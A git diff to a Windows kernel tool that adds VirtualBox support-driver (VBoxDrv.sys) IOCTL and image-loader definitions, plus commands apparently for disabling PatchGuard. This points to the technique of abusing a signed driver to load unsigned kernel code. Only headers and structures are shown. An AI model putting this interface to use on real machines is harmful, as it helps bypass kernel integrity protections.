diff --git a/Include/DeviceDefs.h b/Include/DeviceDefs.h index 6e858b1a..3873f25f 100644 --- a/Include/DeviceDefs.h +++ b/Include/DeviceDefs.h @@ -24,12 +24,59 @@ extern "C" { #endif /* __cplusplus */ -#include +#include +#include -#define LOADER_STRING L"Shark.sys" -#define SERVICE_STRING L"{107180F9-013A-45B4-BCE5-F046892D7426}" -#define DEVICE_STRING L"\\Device\\{94A4D943-9D91-4DFA-AA05-5486E61BF500}" -#define SYMBOLIC_STRING L"\\DosDevices\\{00081140-C743-454D-917B-C3F437C770DC}" +#define KernelString L"Shark.sys" +#define SupportString L"VBoxDrv.sys" +#define KernelPortString L"\\{41F4CD92-4AF0-4447-903D-CD994368059A}" + +#define CmdClose 0x00000000ul +#define CmdNull 0x00000001ul +#define CmdPgClear 0x00000002ul +#define CmdVmxOn 0x00000004ul +#define CmdBugCheck 0x00008000ul +#define CmdReload 0x00010000ul + +#define MAXIMUM_USER_FUNCTION_TABLE_SIZE 512 +#define MAXIMUM_KERNEL_FUNCTION_TABLE_SIZE 256 + + typedef struct _FUNCTION_TABLE_ENTRY32 { + u32 FunctionTable; + u32 ImageBase; + u32 SizeOfImage; + u32 SizeOfTable; + } FUNCTION_TABLE_ENTRY32, *PFUNCTION_TABLE_ENTRY32; + + C_ASSERT(sizeof(FUNCTION_TABLE_ENTRY32) == 0x10); + + typedef struct _FUNCTION_TABLE_ENTRY64 { + u64 FunctionTable; + u64 ImageBase; + u32 SizeOfImage; + u32 SizeOfTable; + } FUNCTION_TABLE_ENTRY64, *PFUNCTION_TABLE_ENTRY64; + + C_ASSERT(sizeof(FUNCTION_TABLE_ENTRY64) == 0x18); + + typedef struct _FUNCTION_TABLE { + u32 CurrentSize; + u32 MaximumSize; + u32 Epoch; + u8 Overflow; + u32 TableEntry[1]; + } FUNCTION_TABLE, *PFUNCTION_TABLE; + + C_ASSERT(FIELD_OFFSET(FUNCTION_TABLE, TableEntry) == 0x10); + + typedef struct _FUNCTION_TABLE_LEGACY { + u32 CurrentSize; + u32 MaximumSize; + u8 Overflow; + u32 TableEntry[1]; + } FUNCTION_TABLE_LEGACY, *PFUNCTION_TABLE_LEGACY; + + C_ASSERT(FIELD_OFFSET(FUNCTION_TABLE_LEGACY, TableEntry) == 0xc); FORCEINLINE u diff --git a/Include/supdefs.h b/Include/supdefs.h new file mode 100644 index 00000000..bb75ff99 --- /dev/null +++ b/Include/supdefs.h @@ -0,0 +1,812 @@ +/* +* +* Copyright (c) 2015 - 2021 by blindtiger. All rights reserved. +* +* The contents of this file are subject to the Mozilla Public License Version +* 2.0 (the "License"); you may not use this file except in compliance with +* the License. You may obtain a copy of the License at +* http://www.mozilla.org/MPL/ +* +* Software distributed under the License is distributed on an "AS IS" basis, +* WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License +* for the specific language governing rights and limitations under the +* License. +* +* The Initial Developer of the Original Code is blindtiger. +* +*/ + +#ifndef _SUPDEFS_H_ +#define _SUPDEFS_H_ + +#ifdef __cplusplus +/* Assume byte packing throughout */ +extern "C" { +#endif /* __cplusplus */ + + /** Internal error - we're screwed if this happens. */ +#define ERR_INTERNAL_ERROR (-32) + +/******************************************************************************* +* Defined Constants And Macros * +*******************************************************************************/ +/** The support service name. */ +#define ServiceString L"VBoxDrv" +/** NT Device name. */ +#define DeviceString L"\\Device\\VBoxDrv" +/** Win Symlink name. */ +#define SymbolicString L"\\DosDevices\\VBoxDrv" +/** soft registry. */ +#define RegistryString L"\\Registry\\Machine\\Software\\Oracle\\VirtualBox" + +/* +* IOCtl numbers. +* We're using the Win32 type of numbers here, thus the macros below. +* The SUP_IOCTL_FLAG macro is used to separate requests from 32-bit +* and 64-bit processes. +*/ +#ifndef _WIN64 +# define SUP_IOCTL_FLAG 0 +#else +# define SUP_IOCTL_FLAG 128 +#endif // !_WIN64 + +/* Automatic buffering, size not encoded. */ +# define SUP_CTL_CODE_SIZE(Function, Size) \ +CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS) +# define SUP_CTL_CODE_BIG(Function) \ +CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS) +# define SUP_CTL_CODE_FAST(Function) \ +CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_NEITHER, FILE_WRITE_ACCESS) +# define SUP_CTL_CODE_NO_SIZE(uIOCtl) (uIOCtl) + +/** Fast path IOCtl: VMMR0_DO_RAW_RUN */ +#define SUP_IOCTL_FAST_DO_RAW_RUN SUP_CTL_CODE_FAST(64) +/** Fast path IOCtl: VMMR0_DO_HWACC_RUN */ +#define SUP_IOCTL_FAST_DO_HWACC_RUN SUP_CTL_CODE_FAST(65) +/** Just a NOP call for profiling the latency of a fast ioctl call to VMMR0. */ +#define SUP_IOCTL_FAST_DO_NOP SUP_CTL_CODE_FAST(66) + +/******************************************************************************* +* Structures and Typedefs * +*******************************************************************************/ +#ifndef _WIN64 +# pragma pack(4) /* paranoia. */ +#else +# pragma pack(8) /* paranoia. */ +#endif // !_WIN64 + +/** +* The paging mode. +*/ + typedef enum _SUPPAGINGMODE { + /** The usual invalid entry. + * This is returned by SUPGetPagingMode() */ + SUPPAGINGMODE_INVALID = 0, + /** Normal 32-bit paging, no global pages */ + SUPPAGINGMODE_32_BIT, + /** Normal 32-bit paging with global pages. */ + SUPPAGINGMODE_32_BIT_GLOBAL, + /** PAE mode, no global pages, no NX. */ + SUPPAGINGMODE_PAE, + /** PAE mode with global pages. */ + SUPPAGINGMODE_PAE_GLOBAL, + /** PAE mode with NX, no global pages. */ + SUPPAGINGMODE_PAE_NX, + /** PAE mode with global pages and NX. */ + SUPPAGINGMODE_PAE_GLOBAL_NX, + /** AMD64 mode, no global pages. */ + SUPPAGINGMODE_AMD64, + /** AMD64 mode with global pages, no NX. */ + SUPPAGINGMODE_AMD64_GLOBAL, + /** AMD64 mode with NX, no global pages. */ + SUPPAGINGMODE_AMD64_NX, + /** AMD64 mode with global pages and NX. */ + SUPPAGINGMODE_AMD64_GLOBAL_NX + } SUPPAGINGMODE; + + /** + * Common In/Out header. + */ + typedef struct _SUPREQHDR { + /** Cookie. */ + u32 u32Cookie; + /** Session cookie. */ + u32 u32SessionCookie; + /** The size of the input. */ + u32 cbIn; + /** The size of the output. */ + u32 cbOut; + /** Flags. See SUPREQHDR_FLAGS_* for details and values. */ + u32 fFlags; + /** The VBox status code of the operation, out direction only. */ + s32 rc; + } SUPREQHDR, *PSUPREQHDR; + + /** @name SUPREQHDR::fFlags values + * @{ */ + /** Masks out the magic value. */ +#define SUPREQHDR_FLAGS_MAGIC_MASK u32c(0xff0000ff) +/** The generic mask. */ +#define SUPREQHDR_FLAGS_GEN_MASK u32c(0x0000ff00) +/** The request specific mask. */ +#define SUPREQHDR_FLAGS_REQ_MASK u32c(0x00ff0000) + +/** There is extra input that needs copying on some platforms. */ +#define SUPREQHDR_FLAGS_EXTRA_IN u32c(0x00000100) +/** There is extra output that needs copying on some platforms. */ +#define SUPREQHDR_FLAGS_EXTRA_OUT u32c(0x00000200) + +/** The magic value. */ +#define SUPREQHDR_FLAGS_MAGIC u32c(0x42000042) +/** The default value. Use this when no special stuff is requested. */ +#define SUPREQHDR_FLAGS_DEFAULT SUPREQHDR_FLAGS_MAGIC +/** @} */ + +/** @name SUP_IOCTL_COOKIE +* @{ +*/ +/** The request size. */ +#define SUP_IOCTL_COOKIE_SIZE sizeof(SUPCOOKIE) +/** Negotiate cookie. */ +#define SUP_IOCTL_COOKIE SUP_CTL_CODE_SIZE(1, SUP_IOCTL_COOKIE_SIZE) +/** The SUPREQHDR::cbIn value. */ +#define SUP_IOCTL_COOKIE_SIZE_IN sizeof(SUPREQHDR) + RTL_FIELD_SIZE(SUPCOOKIE, u.In) +/** The SUPREQHDR::cbOut value. */ +#define SUP_IOCTL_COOKIE_SIZE_OUT sizeof(SUPREQHDR) + RTL_FIELD_SIZE(SUPCOOKIE, u.Out) +/** SUPCOOKIE_IN magic word. */ +#define SUPCOOKIE_MAGIC "The Magic Word!" +/** The initial cookie. */ +#define SUPCOOKIE_INITIAL_COOKIE 0x69726f74 /* 'tori' */ + +/** Current interface version. +* The upper 16-bit is the major version, the the lower the minor version. +* When incompatible changes are made, the upper major number has to be changed. */ +#define SUPDRVIOC_VERSION 0x00070002 + +/** SUP_IOCTL_COOKIE. */ + typedef struct _SUPCOOKIE { + /** The header. + * u32Cookie must be set to SUPCOOKIE_INITIAL_COOKIE. + * u32SessionCookie should be set to some random value. */ + SUPREQHDR Hdr; + + union { + struct { + /** Magic word. */ + char szMagic[16]; + /** The requested interface version number. */ + u32 u32ReqVersion; + /** The minimum interface version number. */ + u32 u32MinVersion; + } In; + + struct { + /** Cookie. */ + u32 u32Cookie; + /** Session cookie. */ + u32 u32SessionCookie; + /** Interface version for this session. */ + u32 u32SessionVersion; + /** The actual interface version in the driver. */ + u32 u32DriverVersion; + /** Number of functions available for the SUP_IOCTL_QUERY_FUNCS request. */ + u32 cFunctions; + /** Session handle. */ + ptr pSession; + } Out; + } u; + } SUPCOOKIE, *PSUPCOOKIE; + /** @} */ + + /** @name SUP_IOCTL_QUERY_FUNCS + * Query SUPR0 functions. + * @{ + */ +#define SUP_IOCTL_QUERY_FUNCS_SIZE(cFuncs) FIELD_OFFSET(SUPQUERYFUNCS, u.Out.aFunctions[(cFuncs)]) +#define SUP_IOCTL_QUERY_FUNCS(cFuncs) SUP_CTL_CODE_SIZE(2, SUP_IOCTL_QUERY_FUNCS_SIZE(cFuncs)) +#define SUP_IOCTL_QUERY_FUNCS_SIZE_IN sizeof(SUPREQHDR) +#define SUP_IOCTL_QUERY_FUNCS_SIZE_OUT(cFuncs) SUP_IOCTL_QUERY_FUNCS_SIZE(cFuncs) + + /** A function. */ + typedef struct SUPFUNC { + /** Name - mangled. */ + char szName[32]; + /** Address. */ + ptr pfn; + } SUPFUNC, *PSUPFUNC; + + typedef struct SUPQUERYFUNCS { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** Number of functions returned. */ + u32 cFunctions; + /** Array of functions. */ + SUPFUNC aFunctions[1]; + } Out; + } u; + } SUPQUERYFUNCS, *PSUPQUERYFUNCS; + /** @} */ + + /** @name SUP_IOCTL_IDT_INSTALL + * Install IDT patch for calling processor. + * @{ + */ +#define SUP_IOCTL_IDT_INSTALL_SIZE sizeof(SUPIDTINSTALL) +#define SUP_IOCTL_IDT_INSTALL SUP_CTL_CODE_SIZE(3, SUP_IOCTL_IDT_INSTALL_SIZE) +#define SUP_IOCTL_IDT_INSTALL_SIZE_IN sizeof(SUPREQHDR) +#define SUP_IOCTL_IDT_INSTALL_SIZE_OUT sizeof(SUPIDTINSTALL) + + typedef struct SUPIDTINSTALL { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** The IDT entry number. */ + u8 u8Idt; + } Out; + } u; + } SUPIDTINSTALL, *PSUPIDTINSTALL; + /** @} */ + + /** @name SUP_IOCTL_IDT_REMOVE + * Remove IDT patch for calling processor. + * @{ + */ +#define SUP_IOCTL_IDT_REMOVE_SIZE sizeof(SUPIDTREMOVE) +#define SUP_IOCTL_IDT_REMOVE SUP_CTL_CODE_SIZE(4, SUP_IOCTL_IDT_REMOVE_SIZE) +#define SUP_IOCTL_IDT_REMOVE_SIZE_IN sizeof(SUPIDTREMOVE) +#define SUP_IOCTL_IDT_REMOVE_SIZE_OUT sizeof(SUPIDTREMOVE) + + typedef struct SUPIDTREMOVE { + /** The header. */ + SUPREQHDR Hdr; + } SUPIDTREMOVE, *PSUPIDTREMOVE; + /** @}*/ + + /** @name SUP_IOCTL_LDR_OPEN + * Open an image. + * @{ + */ +#define SUP_IOCTL_LDR_OPEN_SIZE sizeof(SUPLDROPEN) +#define SUP_IOCTL_LDR_OPEN SUP_CTL_CODE_SIZE(5, SUP_IOCTL_LDR_OPEN_SIZE) +#define SUP_IOCTL_LDR_OPEN_SIZE_IN sizeof(SUPLDROPEN) +#define SUP_IOCTL_LDR_OPEN_SIZE_OUT (sizeof(SUPREQHDR) + RTL_FIELD_SIZE(SUPLDROPEN, u.Out)) + + typedef struct _SUPLDROPEN { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** Size of the image we'll be loading. */ + u32 cbImage; + /** Image name. + * This is the NAME of the image, not the file name. It is used + * to share code with other processes. (Max len is 32 chars!) */ + c szName[32]; + } In; + + struct { + /** The base address of the image. */ + ptr pvImageBase; + /** Indicate whether or not the image requires loading. */ + b fNeedsLoading; + } Out; + } u; + } SUPLDROPEN, *PSUPLDROPEN; + /** @} */ + + /** @name SUP_IOCTL_LDR_LOAD + * Upload the image bits. + * @{ + */ +#define SUP_IOCTL_LDR_LOAD SUP_CTL_CODE_BIG(6) +#define SUP_IOCTL_LDR_LOAD_SIZE(cbImage) FIELD_OFFSET(SUPLDRLOAD, u.In.achImage[cbImage]) +#define SUP_IOCTL_LDR_LOAD_SIZE_IN(cbImage) FIELD_OFFSET(SUPLDRLOAD, u.In.achImage[cbImage]) +#define SUP_IOCTL_LDR_LOAD_SIZE_OUT sizeof(SUPREQHDR) + + /** + * Symbol table entry. + */ + typedef struct _SUPLDRSYM { + /** Offset into of the string table. */ + u32 offName; + /** Offset of the symbol relative to the image load address. */ + u32 offSymbol; + } SUPLDRSYM, *PSUPLDRSYM; + + /** + * SUPLDRLOAD::u::In::EP type. + */ + typedef enum _SUPLDRLOADEP { + SUPLDRLOADEP_NOTHING = 0, + SUPLDRLOADEP_VMMR0, + SUPLDRLOADEP_32BIT_HACK = 0x7fffffff + } SUPLDRLOADEP; + + typedef struct _SUPLDRLOAD { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** The address of module initialization function. Similar to _DLL_InitTerm(hmod, 0). */ + ptr pfnModuleInit; + /** The address of module termination function. Similar to _DLL_InitTerm(hmod, 1). */ + ptr pfnModuleTerm; + /** Special entry points. */ + + union { + struct { + /** The module handle (i.e. address). */ + ptr pvVMMR0; + /** Address of VMMR0EntryInt function. */ + ptr pvVMMR0EntryInt; + /** Address of VMMR0EntryFast function. */ + ptr pvVMMR0EntryFast; + /** Address of VMMR0EntryEx function. */ + ptr pvVMMR0EntryEx; + } VMMR0; + } EP; + + /** Address. */ + ptr pvImageBase; + /** Entry point type. */ + SUPLDRLOADEP eEPType; + /** The offset of the symbol table. */ + u32 offSymbols; + /** The number of entries in the symbol table. */ + u32 cSymbols; + /** The offset of the string table. */ + u32 offStrTab; + /** Size of the string table. */ + u32 cbStrTab; + /** Size of image (including string and symbol tables). */ + u32 cbImage; + /** The image data. */ + c achImage[1]; + } In; + } u; + } SUPLDRLOAD, *PSUPLDRLOAD; + /** @} */ + + /** @name SUP_IOCTL_LDR_FREE + * Free an image. + * @{ + */ +#define SUP_IOCTL_LDR_FREE_SIZE sizeof(SUPLDRFREE) +#define SUP_IOCTL_LDR_FREE SUP_CTL_CODE_SIZE(7, SUP_IOCTL_LDR_FREE_SIZE) +#define SUP_IOCTL_LDR_FREE_SIZE_IN sizeof(SUPLDRFREE) +#define SUP_IOCTL_LDR_FREE_SIZE_OUT sizeof(SUPREQHDR) + + typedef struct _SUPLDRFREE { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** Address. */ + ptr pvImageBase; + } In; + } u; + } SUPLDRFREE, *PSUPLDRFREE; + /** @} */ + + /** @name SUP_IOCTL_LDR_GET_SYMBOL + * Get address of a symbol within an image. + * @{ + */ +#define SUP_IOCTL_LDR_GET_SYMBOL_SIZE sizeof(SUPLDRGETSYMBOL) +#define SUP_IOCTL_LDR_GET_SYMBOL SUP_CTL_CODE_SIZE(8, SUP_IOCTL_LDR_GET_SYMBOL_SIZE) +#define SUP_IOCTL_LDR_GET_SYMBOL_SIZE_IN sizeof(SUPLDRGETSYMBOL) +#define SUP_IOCTL_LDR_GET_SYMBOL_SIZE_OUT (sizeof(SUPREQHDR) + RTL_FIELD_SIZE(SUPLDRGETSYMBOL, u.Out)) + + typedef struct _SUPLDRGETSYMBOL { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** Address. */ + ptr pvImageBase; + /** The symbol name. */ + c szSymbol[64]; + } In; + + struct { + /** The symbol address. */ + ptr pvSymbol; + } Out; + } u; + } SUPLDRGETSYMBOL, *PSUPLDRGETSYMBOL; + /** @} */ + + /** @name SUP_IOCTL_CALL_VMMR0 + * Call the R0 VMM Entry point. + * + * @todo Might have to convert this to a big request... + * @{ + */ +#define SUP_IOCTL_CALL_VMMR0_SIZE(cbReq) FIELD_OFFSET(SUPCALLVMMR0, abReqPkt[cbReq]) +#define SUP_IOCTL_CALL_VMMR0(cbReq) SUP_CTL_CODE_SIZE(9, SUP_IOCTL_CALL_VMMR0_SIZE(cbReq)) +#define SUP_IOCTL_CALL_VMMR0_SIZE_IN(cbReq) SUP_IOCTL_CALL_VMMR0_SIZE(cbReq) +#define SUP_IOCTL_CALL_VMMR0_SIZE_OUT(cbReq) SUP_IOCTL_CALL_VMMR0_SIZE(cbReq) + + typedef struct SUPCALLVMMR0 { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** The VM handle. */ + ptr pVMR0; + /** Which operation to execute. */ + u32 uOperation; +#if R0_ARCH_BITS == 64 + /** Alignment. */ + u32 u32Reserved; +#endif + /** Argument to use when no request packet is supplied. */ + u64 u64Arg; + } In; + } u; + /** The VMMR0Entry request packet. */ + u8 abReqPkt[1]; + } SUPCALLVMMR0, *PSUPCALLVMMR0; + /** @} */ + + /** @name SUP_IOCTL_LOW_ALLOC + * Allocate memory below 4GB (physically). + * @{ + */ +#define SUP_IOCTL_LOW_ALLOC SUP_CTL_CODE_BIG(10) +#define SUP_IOCTL_LOW_ALLOC_SIZE(cPages) ((u32)FIELD_OFFSET(SUPLOWALLOC, u.Out.aPages[cPages])) +#define SUP_IOCTL_LOW_ALLOC_SIZE_IN (sizeof(SUPREQHDR) + RTL_FIELD_SIZE(SUPLOWALLOC, u.In)) +#define SUP_IOCTL_LOW_ALLOC_SIZE_OUT(cPages) SUP_IOCTL_LOW_ALLOC_SIZE(cPages) + + typedef struct SUPLOWALLOC { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** Number of pages to allocate. */ + u32 cPages; + } In; + + struct { + /** The ring-3 address of the allocated memory. */ + ptr pvR3; + /** The ring-0 address of the allocated memory. */ + ptr pvR0; + /** Array of pages. */ + u64 aPages[1]; + } Out; + } u; + } SUPLOWALLOC, *PSUPLOWALLOC; + /** @} */ + + /** @name SUP_IOCTL_LOW_FREE + * Free low memory. + * @{ + */ +#define SUP_IOCTL_LOW_FREE SUP_CTL_CODE_SIZE(11, SUP_IOCTL_LOW_FREE_SIZE) +#define SUP_IOCTL_LOW_FREE_SIZE sizeof(SUPLOWFREE) +#define SUP_IOCTL_LOW_FREE_SIZE_IN sizeof(SUPLOWFREE) +#define SUP_IOCTL_LOW_FREE_SIZE_OUT sizeof(SUPREQHDR) + typedef struct SUPLOWFREE { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** The ring-3 address of the memory to free. */ + ptr pvR3; + } In; + } u; + } SUPLOWFREE, *PSUPLOWFREE; + /** @} */ + + /** @name SUP_IOCTL_PAGE_ALLOC + * Allocate memory and map into the user process. + * The memory is of course locked. + * @{ + */ +#define SUP_IOCTL_PAGE_ALLOC SUP_CTL_CODE_BIG(12) +#define SUP_IOCTL_PAGE_ALLOC_SIZE(cPages) FIELD_OFFSET(SUPPAGEALLOC, u.Out.aPages[cPages]) +#define SUP_IOCTL_PAGE_ALLOC_SIZE_IN (sizeof(SUPREQHDR) + RTL_FIELD_SIZE(SUPPAGEALLOC, u.In)) +#define SUP_IOCTL_PAGE_ALLOC_SIZE_OUT(cPages) SUP_IOCTL_PAGE_ALLOC_SIZE(cPages) + + typedef struct SUPPAGEALLOC { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** Number of pages to allocate */ + u32 cPages; + } In; + + struct { + /** Returned ring-3 address. */ + ptr pvR3; + /** The physical addresses of the allocated pages. */ + u64 aPages[1]; + } Out; + } u; + } SUPPAGEALLOC, *PSUPPAGEALLOC; + /** @} */ + + /** @name SUP_IOCTL_PAGE_FREE + * Free memory allocated with SUP_IOCTL_PAGE_ALLOC. + * @{ + */ +#define SUP_IOCTL_PAGE_FREE_SIZE_IN sizeof(SUPPAGEFREE) +#define SUP_IOCTL_PAGE_FREE SUP_CTL_CODE_SIZE(13, SUP_IOCTL_PAGE_FREE_SIZE_IN) +#define SUP_IOCTL_PAGE_FREE_SIZE sizeof(SUPPAGEFREE) +#define SUP_IOCTL_PAGE_FREE_SIZE_OUT sizeof(SUPREQHDR) + + typedef struct SUPPAGEFREE { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** Address of memory range to free. */ + ptr pvR3; + } In; + } u; + } SUPPAGEFREE, *PSUPPAGEFREE; + /** @} */ + + /** @name SUP_IOCTL_PAGE_LOCK + * Pin down physical pages. + * @{ + */ +#define SUP_IOCTL_PAGE_LOCK SUP_CTL_CODE_BIG(14) +#define SUP_IOCTL_PAGE_LOCK_SIZE_IN (sizeof(SUPREQHDR) + RTL_FIELD_SIZE(SUPPAGELOCK, u.In)) +#define SUP_IOCTL_PAGE_LOCK_SIZE_OUT(cPages) FIELD_OFFSET(SUPPAGELOCK, u.Out.aPages[cPages]) +#define SUP_IOCTL_PAGE_LOCK_SIZE(cPages) \ + (__max((size_t)SUP_IOCTL_PAGE_LOCK_SIZE_IN, (size_t)SUP_IOCTL_PAGE_LOCK_SIZE_OUT(cPages))) + + typedef struct SUPPAGELOCK { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** Start of page range. Must be PAGE aligned. */ + ptr pvR3; + /** The range size given as a page count. */ + u32 cPages; + } In; + + struct { + /** Array of pages. */ + u64 aPages[1]; + } Out; + } u; + } SUPPAGELOCK, *PSUPPAGELOCK; + /** @} */ + + /** @name SUP_IOCTL_PAGE_UNLOCK + * Unpin physical pages. + * @{ */ +#define SUP_IOCTL_PAGE_UNLOCK_SIZE sizeof(SUPPAGEUNLOCK) +#define SUP_IOCTL_PAGE_UNLOCK SUP_CTL_CODE_SIZE(15, SUP_IOCTL_PAGE_UNLOCK_SIZE) +#define SUP_IOCTL_PAGE_UNLOCK_SIZE_IN sizeof(SUPPAGEUNLOCK) +#define SUP_IOCTL_PAGE_UNLOCK_SIZE_OUT sizeof(SUPREQHDR) + + typedef struct SUPPAGEUNLOCK { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** Start of page range of a range previuosly pinned. */ + ptr pvR3; + } In; + } u; + } SUPPAGEUNLOCK, *PSUPPAGEUNLOCK; + /** @} */ + + /** @name SUP_IOCTL_CONT_ALLOC + * Allocate contious memory. + * @{ + */ +#define SUP_IOCTL_CONT_ALLOC_SIZE sizeof(SUPCONTALLOC) +#define SUP_IOCTL_CONT_ALLOC SUP_CTL_CODE_SIZE(16, SUP_IOCTL_CONT_ALLOC_SIZE) +#define SUP_IOCTL_CONT_ALLOC_SIZE_IN (sizeof(SUPREQHDR) + RTL_FIELD_SIZE(SUPCONTALLOC, u.In)) +#define SUP_IOCTL_CONT_ALLOC_SIZE_OUT sizeof(SUPCONTALLOC) + + typedef struct SUPCONTALLOC { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** The allocation size given as a page count. */ + u32 cPages; + } In; + + struct { + /** The address of the ring-0 mapping of the allocated memory. */ + ptr pvR0; + /** The address of the ring-3 mapping of the allocated memory. */ + ptr pvR3; + /** The physical address of the allocation. */ + u64 HCPhys; + } Out; + } u; + } SUPCONTALLOC, *PSUPCONTALLOC; + /** @} */ + + /** @name SUP_IOCTL_CONT_FREE Input. + * @{ + */ + /** Free contious memory. */ +#define SUP_IOCTL_CONT_FREE_SIZE sizeof(SUPCONTFREE) +#define SUP_IOCTL_CONT_FREE SUP_CTL_CODE_SIZE(17, SUP_IOCTL_CONT_FREE_SIZE) +#define SUP_IOCTL_CONT_FREE_SIZE_IN sizeof(SUPCONTFREE) +#define SUP_IOCTL_CONT_FREE_SIZE_OUT sizeof(SUPREQHDR) + + typedef struct SUPCONTFREE { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** The ring-3 address of the memory to free. */ + ptr pvR3; + } In; + } u; + } SUPCONTFREE, *PSUPCONTFREE; + /** @} */ + + /** @name SUP_IOCTL_GET_PAGING_MODE + * Get the host paging mode. + * @{ + */ +#define SUP_IOCTL_GET_PAGING_MODE_SIZE sizeof(SUPGETPAGINGMODE) +#define SUP_IOCTL_GET_PAGING_MODE SUP_CTL_CODE_SIZE(18, SUP_IOCTL_GET_PAGING_MODE_SIZE) +#define SUP_IOCTL_GET_PAGING_MODE_SIZE_IN sizeof(SUPREQHDR) +#define SUP_IOCTL_GET_PAGING_MODE_SIZE_OUT sizeof(SUPGETPAGINGMODE) + + typedef struct SUPGETPAGINGMODE { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** The paging mode. */ + SUPPAGINGMODE enmMode; + } Out; + } u; + } SUPGETPAGINGMODE, *PSUPGETPAGINGMODE; + /** @} */ + + /** @name SUP_IOCTL_SET_VM_FOR_FAST + * Set the VM handle for doing fast call ioctl calls. + * @{ + */ +#define SUP_IOCTL_SET_VM_FOR_FAST_SIZE sizeof(SUPSETVMFORFAST) +#define SUP_IOCTL_SET_VM_FOR_FAST SUP_CTL_CODE_SIZE(19, SUP_IOCTL_SET_VM_FOR_FAST_SIZE) +#define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN sizeof(SUPSETVMFORFAST) +#define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT sizeof(SUPREQHDR) + + typedef struct SUPSETVMFORFAST { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** The ring-0 VM handle (pointer). */ + ptr pVMR0; + } In; + } u; + } SUPSETVMFORFAST, *PSUPSETVMFORFAST; + /** @} */ + + /** @name SUP_IOCTL_GIP_MAP + * Map the GIP into user space. + * @{ + */ +#define SUP_IOCTL_GIP_MAP_SIZE sizeof(SUPGIPMAP) +#define SUP_IOCTL_GIP_MAP SUP_CTL_CODE_SIZE(20, SUP_IOCTL_GIP_MAP_SIZE) +#define SUP_IOCTL_GIP_MAP_SIZE_IN sizeof(SUPREQHDR) +#define SUP_IOCTL_GIP_MAP_SIZE_OUT sizeof(SUPGIPMAP) + + typedef struct SUPGIPMAP { + /** The header. */ + SUPREQHDR Hdr; + + union { + struct { + /** The physical address of the GIP. */ + u64 HCPhysGip; + /** Pointer to the read-only usermode GIP mapping for this session. */ + ptr pGipR3; + /** Pointer to the supervisor mode GIP mapping. */ + ptr pGipR0; + } Out; + } u; + } SUPGIPMAP, *PSUPGIPMAP; + /** @} */ + + /** @name SUP_IOCTL_GIP_UNMAP + * Unmap the GIP. + * @{ + */ +#define SUP_IOCTL_GIP_UNMAP_SIZE sizeof(SUPGIPUNMAP) +#define SUP_IOCTL_GIP_UNMAP SUP_CTL_CODE_SIZE(21, SUP_IOCTL_GIP_UNMAP_SIZE) +#define SUP_IOCTL_GIP_UNMAP_SIZE_IN sizeof(SUPGIPUNMAP) +#define SUP_IOCTL_GIP_UNMAP_SIZE_OUT sizeof(SUPGIPUNMAP) + + typedef struct SUPGIPUNMAP { + /** The header. */ + SUPREQHDR Hdr; + } SUPGIPUNMAP, *PSUPGIPUNMAP; + /** @} */ + + /** + * Header which heading all memory blocks. + */ + typedef struct _MEMHDR { + /** Magic (RTMEMHDR_MAGIC). */ + u32 u32Magic; + /** Block flags (RTMEMHDR_FLAG_*). */ + u32 fFlags; + /** The actual size of the block. */ + u32 cb; + /** The request allocation size. */ + u32 cbReq; + } MEMHDR, *PMEMHDR; + + /** + * Loaded image. + */ + typedef struct _SUPDRVLDRIMAGE { + /** Next in chain. */ + struct SUPDRVLDRIMAGE * volatile pNext; + /** Pointer to the image. */ + ptr pvImage; + /** Pointer to the optional module initialization callback. */ + ptr pfnModuleInit; + /** Pointer to the optional module termination callback. */ + ptr pfnModuleTerm; + /** Size of the image. */ + u32 cbImage; + /** The offset of the symbol table. */ + u32 offSymbols; + /** The number of entries in the symbol table. */ + u32 cSymbols; + /** The offset of the string table. */ + u32 offStrTab; + /** Size of the string table. */ + u32 cbStrTab; + /** The ldr image state. (IOCtl code of last opration.) */ + u32 uState; + /** Usage count. */ + u32 volatile cUsage; + /** Image name. */ + char szName[32]; + } SUPDRVLDRIMAGE, *PSUPDRVLDRIMAGE; + +#ifndef _WIN64 +# define MEM_FENCE_EXTRA 4 +#else +# define MEM_FENCE_EXTRA 16 +#endif // !_WIN64 + +#pragma pack() /* paranoia */ + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#endif // !_SUPDEFS_H_ diff --git a/Include/typesdefs.h b/Include/typesdefs.h index 3dd22e6a..b19da6c6 100644 --- a/Include/typesdefs.h +++ b/Include/typesdefs.h @@ -36,12 +36,14 @@ extern "C" { typedef void * ptr; - typedef unsigned __int8 c, *cptr; + typedef unsigned char c, *cptr; typedef unsigned __int16 wc, *wcptr; typedef unsigned __int8 b, *bptr; +#ifndef __cplusplus typedef * __ptr32 ptr32; typedef * __ptr64 ptr64; +#endif // !__cplusplus #else #ifndef _UNICODE @@ -55,46 +57,50 @@ extern "C" { #ifndef _WIN64 typedef __int32 s, *sptr; typedef unsigned __int32 u, *uptr; - -#define __utop(v) (ptr)(u32)(u)(v) -#define __ptou(v) (u32)(u)(v) #else typedef __int64 s, *sptr; typedef unsigned __int64 u, *uptr; - -#define __utop(v) (ptr)(u64)(u)(v) 